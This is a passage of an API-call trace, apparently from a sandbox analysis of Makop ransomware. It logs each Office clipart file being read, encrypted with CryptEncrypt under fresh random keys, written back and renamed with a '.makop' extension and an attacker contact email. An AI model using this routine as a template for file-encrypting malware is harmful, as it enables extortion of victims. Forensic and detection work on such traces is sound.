nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0148.348] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0148.348] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0148.348] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0148.348] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0148.348] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0148.348] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0148.348] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.349] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x60c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x60c, lpOverlapped=0x0) returned 1 [0148.349] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x610, dwBufLen=0x610 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x610) returned 1 [0148.349] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.349] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x610, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x610, lpOverlapped=0x0) returned 1 [0148.349] CryptDestroyKey (hKey=0x48c7128) returned 1 [0148.349] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x6e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.349] SetEndOfFile (hFile=0xf0) returned 1 [0148.362] GetProcessHeap () returned 0x48a0000 [0148.362] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0148.362] GetProcessHeap () returned 0x48a0000 [0148.362] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0148.362] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01041_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0148.363] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01041_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01041_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01041_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01041_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0148.365] CloseHandle (hObject=0xf0) returned 1 [0148.365] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cd76600, ftCreationTime.dwHighDateTime=0x1bd4bef, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7cd76600, ftLastWriteTime.dwHighDateTime=0x1bd4bef, nFileSizeHigh=0x0, nFileSizeLow=0x1b04, dwReserved0=0x0, dwReserved1=0x0, cFileName="SL01394_.WMF", cAlternateFileName="")) returned 1 [0148.365] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01394_.WMF") returned 63 [0148.365] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01394_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01394_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0148.370] GetProcessHeap () returned 0x48a0000 [0148.370] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0148.370] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0148.370] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0148.370] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0148.383] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0148.383] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0148.383] GetProcessHeap () returned 0x48a0000 [0148.383] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0148.383] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0148.384] CryptDestroyKey (hKey=0x48c7128) returned 1 [0148.389] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0148.389] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0148.389] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0148.389] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0148.390] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0148.390] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0148.392] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0148.392] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0148.392] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.392] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1b04, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1b04, lpOverlapped=0x0) returned 1 [0148.395] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1b10, dwBufLen=0x1b10 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1b10) returned 1 [0148.395] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.395] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1b10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1b10, lpOverlapped=0x0) returned 1 [0148.399] CryptDestroyKey (hKey=0x48c7128) returned 1 [0148.400] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1be4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.400] SetEndOfFile (hFile=0xf0) returned 1 [0148.407] GetProcessHeap () returned 0x48a0000 [0148.407] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0148.407] GetProcessHeap () returned 0x48a0000 [0148.407] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0148.407] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01394_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0148.407] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01394_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01394_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01394_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01394_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0148.409] CloseHandle (hObject=0xf0) returned 1 [0148.409] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x747f2b00, ftCreationTime.dwHighDateTime=0x1bd4bef, ftLastAccessTime.dwLowDateTime=0x5a980590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x747f2b00, ftLastWriteTime.dwHighDateTime=0x1bd4bef, nFileSizeHigh=0x0, nFileSizeLow=0x138c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SL01395_.WMF", cAlternateFileName="")) returned 1 [0148.409] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01395_.WMF") returned 63 [0148.410] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01395_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01395_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0148.414] GetProcessHeap () returned 0x48a0000 [0148.415] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0148.415] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0148.415] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0148.415] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0148.427] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0148.427] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0148.427] GetProcessHeap () returned 0x48a0000 [0148.427] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0148.427] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0148.427] CryptDestroyKey (hKey=0x48c7128) returned 1 [0148.427] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0148.428] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0148.428] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0148.428] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0148.428] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0148.428] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0148.428] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0148.428] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0148.428] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.429] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x138c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x138c, lpOverlapped=0x0) returned 1 [0148.433] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1390, dwBufLen=0x1390 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1390) returned 1 [0148.433] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.436] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1390, lpOverlapped=0x0) returned 1 [0148.437] CryptDestroyKey (hKey=0x48c7128) returned 1 [0148.437] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1464, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.437] SetEndOfFile (hFile=0xf0) returned 1 [0148.449] GetProcessHeap () returned 0x48a0000 [0148.452] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0148.452] GetProcessHeap () returned 0x48a0000 [0148.452] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0148.453] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01395_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0148.453] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01395_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01395_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01395_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01395_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0148.455] CloseHandle (hObject=0xf0) returned 1 [0148.455] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6cc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SL01565_.WMF", cAlternateFileName="")) returned 1 [0148.455] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01565_.WMF") returned 63 [0148.455] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01565_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01565_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0148.456] GetProcessHeap () returned 0x48a0000 [0148.456] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0148.456] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0148.457] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0148.457] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0148.461] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0148.461] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0148.461] GetProcessHeap () returned 0x48a0000 [0148.461] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0148.461] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0148.461] CryptDestroyKey (hKey=0x48c7128) returned 1 [0148.462] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0148.462] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0148.462] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0148.462] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0148.462] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0148.463] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0148.463] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0148.463] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0148.463] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.463] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x6cc4, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x6cc4, lpOverlapped=0x0) returned 1 [0148.464] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x6cd0, dwBufLen=0x6cd0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x6cd0) returned 1 [0148.465] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.465] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x6cd0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x6cd0, lpOverlapped=0x0) returned 1 [0148.465] CryptDestroyKey (hKey=0x48c7128) returned 1 [0148.465] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x6da4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.465] SetEndOfFile (hFile=0xf0) returned 1 [0148.472] GetProcessHeap () returned 0x48a0000 [0148.472] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0148.473] GetProcessHeap () returned 0x48a0000 [0148.473] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0148.473] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01565_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0148.473] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01565_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01565_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01565_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01565_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0148.475] CloseHandle (hObject=0xf0) returned 1 [0148.475] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8a6e400, ftCreationTime.dwHighDateTime=0x1bd4af7, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8a6e400, ftLastWriteTime.dwHighDateTime=0x1bd4af7, nFileSizeHigh=0x0, nFileSizeLow=0x36aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00017_.WMF", cAlternateFileName="")) returned 1 [0148.475] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00017_.WMF") returned 63 [0148.475] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00017_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00017_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0148.487] GetProcessHeap () returned 0x48a0000 [0148.487] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0148.487] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0148.487] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0148.487] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x6, lpOverlapped=0x0) returned 1 [0148.505] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0148.505] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0148.505] 